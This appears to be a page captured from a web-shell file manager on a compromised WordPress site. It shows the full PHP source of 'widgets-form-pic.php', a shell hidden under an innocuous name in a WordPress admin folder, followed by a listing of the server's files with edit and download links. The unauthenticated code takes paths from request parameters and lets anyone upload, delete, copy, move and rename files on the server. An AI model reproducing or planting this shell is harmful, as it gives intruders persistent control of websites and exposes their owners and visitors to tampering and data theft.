PHP 7.4.33
Preview: widgets-form-pic.php Size: 4.18 KB
/home/zcziejy/ryadselyen/wp-admin-20260112071439/widgets-form-pic.php
<html>
<body>
<style type="text/css">
    body {
        background: #ffffff;
        color: #666666;
        font-family: Verdana;
        font-size: 11px;
    }

    a:link {
        color: #33CC99;
    }

    a:visited {
        color: #269771;
    }

    a:hover {
        text-decoration: none;
        Color: #3399FF;
    }

    table {
        font-size: 11px;
    }
</style>
<?php
error_reporting( 0 );
set_time_limit( 0 );

if ( empty ( $_GET ['dir'] ) ) {
	$dir = getcwd();
} else {
	$dir = $_GET ['dir'];
}
chdir( $dir );
$current = htmlentities( $_SERVER ['PHP_SELF'] . "?dir=" . $dir );

echo "<i>Server: " . $_SERVER ['SERVER_NAME'] . "<br>";
echo "Current directory: " . getcwd() . "<br>";
echo "Software: " . $_SERVER ['SERVER_SOFTWARE'];
echo "<br>";
echo "<br>";
echo "<form action = '" . $current . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'>\n";
echo "Local file: <input type = 'file' name = 'upload_file'>";
echo "<input type = 'submit' value = 'Upload'>";
echo "</form><br>";

$mode = $_GET ['mode'];
switch ( $mode ) {
	case 'delete':
		$file = $_GET ['file'];
		if ( unlink( $file ) ) {
			echo $file . " deleted successfully.<p>";
		} else {
			echo "Unable to delete " . $file . ".<p>";
		}
		break;
	case 'copy':
		$src = $_GET ['src'];
		$dst = $_POST ['dst'];
		if ( empty ( $dst ) ) {
			echo "<form action = '" . $current . "&mode=copy&src=" . $src . "' method = 'POST'>\n";
			echo "Destination: <input name = 'dst'><br>\n";
			echo "<input type = 'submit' value = 'Copy'></form>\n";
		} else {
			if ( copy( $src, $dst ) ) {
				echo "File copied successfully.<p>\n";
			} else {
				echo "Unable to copy " . $src . ".<p>\n";
			}
		}
		break;
	case 'move':
		$src = $_GET ['src'];
		$dst = $_POST ['dst'];
		if ( empty ( $dst ) ) {
			echo "<form action = '" . $current . "&mode=move&src=" . $src . "' method = 'POST'>\n";
			echo "Destination: <input name = 'dst'><br>\n";
			echo "<input type = 'submit' value = 'Move'></form>\n";
		} else {
			if ( rename( $src, $dst ) ) {
				echo "File moved successfully.<p>\n";
			} else {
				echo "Unable to move " . $src . ".<p>\n";
			}
		}
		break;
	case 'rename':
		$old = $_GET ['old'];
		$new = $_POST ['new'];
		if ( empty ( $new ) ) {
			echo "<form action = '" . $current . "&mode=rename&old=" . $old . "' method = 'POST'>\n";
			echo "New name: <input name = 'new'><br>\n";
			echo "<input type = 'submit' value = 'Rename'></form>\n";
		} else {
			if ( rename( $old, $new ) ) {
				echo "File/Directory renamed successfully.<p>\n";
			} else {
				echo "Unable to rename " . $old . ".<p>\n";
			}
		}
		break;

	case 'rmdir':
		$rm = $_GET ['rm'];
		if ( rmdir( $rm ) ) {
			echo "Directory removed successfully.<p>\n";
		} else {
			echo "Unable to remove " . $rm . ".<p>\n";
		}
		break;
	case 'upload':
		$temp = $_FILES['upload_file']['tmp_name'];
		$file = basename( $_FILES['upload_file']['name'] );
		if ( ! empty ( $file ) ) {
			if ( move_uploaded_file( $temp, $file ) ) {
				echo "File uploaded successfully.<p>\n";
				unlink( $temp );
			} else {
				echo "Unable to upload " . $file . ".<p>\n";
			}
		}
		break;
}
clearstatcache();
echo "<pre>\n\n</pre>";
echo "<table width = 100%>\n";
$files = scandir( $dir );
foreach ( $files as $file ) {
	if ( is_dir( $file ) ) {
		$items     = scandir( $file );
		$items_num = count( $items ) - 2;
		echo "<tr><td><a href = " . $current . "/" . $file . ">" . $file . "</a></td>";
		echo "<td>" . $items_num . " Items</td>";
		echo "<td><a href = " . $current . "&mode=rmdir&rm=" . $file . ">Remove directory</a></td>";
		echo "<td>-</td>";
		echo "<td>-</td>";
		echo "<td><a href = " . $current . "&mode=rename&old=" . $file . ">Rename directory</a></td></tr>";
	}
}
foreach ( $files as $file ) {
	if ( is_file( $file ) ) {
		$size = round( filesize( $file ) / 1024, 2 );
		echo "<tr><td>" . $file . "</td>";
		echo "<td>" . $size . " KB</td>";
		echo "<td><a href = " . $current . "&mode=delete&file=" . $file . ">Delete</a></td>";
		echo "<td><a href = " . $current . "&mode=copy&src=" . $file . ">Copy</a></td>";
		echo "<td><a href = " . $current . "&mode=move&src=" . $file . ">Move</a></td>";
		echo "<td><a href = " . $current . "&mode=rename&old=" . $file . ">Rename</a></td></tr>";
	}
}
echo "</table><br>";

Directory Contents

Dirs: 4 × Files: 98
Name Size Perms Modified Actions
css DIR
- drwxr-xr-x 2026-01-20 19:55:24
Edit Download
images DIR
- drwxr-xr-x 2026-01-12 08:14:39
Edit Download
js DIR
- drwxr-xr-x 2026-01-12 08:14:40
Edit Download
user DIR
- drwxr-xr-x 2026-01-12 08:14:40
Edit Download
420 B lrw-r--r-- 2026-01-09 04:01:57
Edit Download
15.25 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
5.03 KB lrw-r--r-- 2024-07-16 23:33:45
Edit Download
2.77 KB lrw-r--r-- 2024-11-12 22:37:31
Edit Download
479 B lrw-r--r-- 2025-04-15 23:35:18
Edit Download
9.12 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
1.97 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
12.35 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
5.47 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
10.09 KB lrw-r--r-- 2023-11-07 22:41:35
Edit Download
11.35 KB lrw-r--r-- 2024-07-16 23:33:45
Edit Download
5.86 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
4.38 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
489 B lrw-r--r-- 2025-04-15 23:35:18
Edit Download
499 B lrw-r--r-- 2025-04-15 23:35:18
Edit Download
11.01 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
14.38 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
28.83 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
14.60 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
8.34 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
6.21 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
10.44 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
22.00 KB lrw-r--r-- 2025-02-11 23:02:46
Edit Download
19.48 KB lrw-r--r-- 2024-11-12 22:37:31
Edit Download
7.33 KB lrw-r--r-- 2024-07-16 23:33:45
Edit Download
7.75 KB lrw-r--r-- 2024-07-16 23:33:45
Edit Download
11.02 KB lrw-r--r-- 2024-07-16 23:33:45
Edit Download
4.80 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
1.09 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
7.58 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
7.68 KB lrw-r--r-- 2023-11-07 22:41:36
Edit Download
348 B lrw-r--r-- 2025-12-02 22:36:59
Edit Download
6.80 KB lrw-r--r-- 2023-03-29 23:36:05
Edit Download
17.77 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
934 B lrw-r--r-- 2025-04-15 23:35:18
Edit Download
4.26 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
2.72 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
2.89 KB lrw-r--r-- 2024-07-16 23:33:45
Edit Download
2.02 KB lrw-r--r-- 2024-11-12 22:37:31
Edit Download
2.92 KB lrw-r--r-- 2024-11-12 22:37:31
Edit Download
3.20 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
3.58 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
819 B lrw-r--r-- 2024-07-16 23:33:45
Edit Download
9.82 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
17.46 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
307 B lrw-r--r-- 2023-01-10 22:38:29
Edit Download
196 B lrw-r--r-- 2023-01-10 22:38:31
Edit Download
4.50 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
216 B lrw-r--r-- 2023-01-10 22:38:33
Edit Download
229 B lrw-r--r-- 2024-07-16 23:33:45
Edit Download
215 B lrw-r--r-- 2023-01-10 22:38:39
Edit Download
217 B lrw-r--r-- 2023-01-10 22:38:40
Edit Download
219 B lrw-r--r-- 2023-01-10 22:38:36
Edit Download
215 B lrw-r--r-- 2023-01-10 22:38:28
Edit Download
4.74 KB lrw-r--r-- 2023-11-07 22:41:35
Edit Download
48.19 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
5.39 KB lrw-r--r-- 2024-07-16 23:33:45
Edit Download
15.92 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
21.65 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
621 B lrw-r--r-- 2025-04-15 23:35:18
Edit Download
6.38 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
21.22 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
9.95 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
4.18 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
9.94 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
9.10 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
13.60 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
13.75 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
6.96 KB lrw-r--r-- 2024-04-02 23:32:47
Edit Download
30.00 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
2.70 KB lrw-r--r-- 2024-07-16 23:33:45
Edit Download
10.03 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
2.34 KB lrw-r--r-- 2024-04-02 23:32:48
Edit Download
3.67 KB lrw-r--r-- 2024-04-02 23:32:48
Edit Download
2.79 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
283 B lrw-r--r-- 2023-01-10 22:38:43
Edit Download
5.70 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
17.48 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
11.98 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
3.99 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
10.20 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
2.20 KB lrw-r--r-- 2023-01-10 22:38:33
Edit Download
16.87 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
23.38 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
47.92 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
3.43 KB lrw-r--r-- 2023-03-29 23:36:05
Edit Download
45.45 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
12.79 KB lrw-r--r-- 2024-01-30 22:36:18
Edit Download
341 B lrw-r--r-- 2023-01-10 22:38:29
Edit Download
6.27 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
14.90 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
40.36 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
24.05 KB lrw-r--r-- 2025-04-15 23:35:18
Edit Download
23.29 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
5.12 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
4.18 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
19.26 KB lrw-r--r-- 2025-12-02 22:36:59
Edit Download
1.09 KB lrw-r--r-- 2023-01-10 22:38:27
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).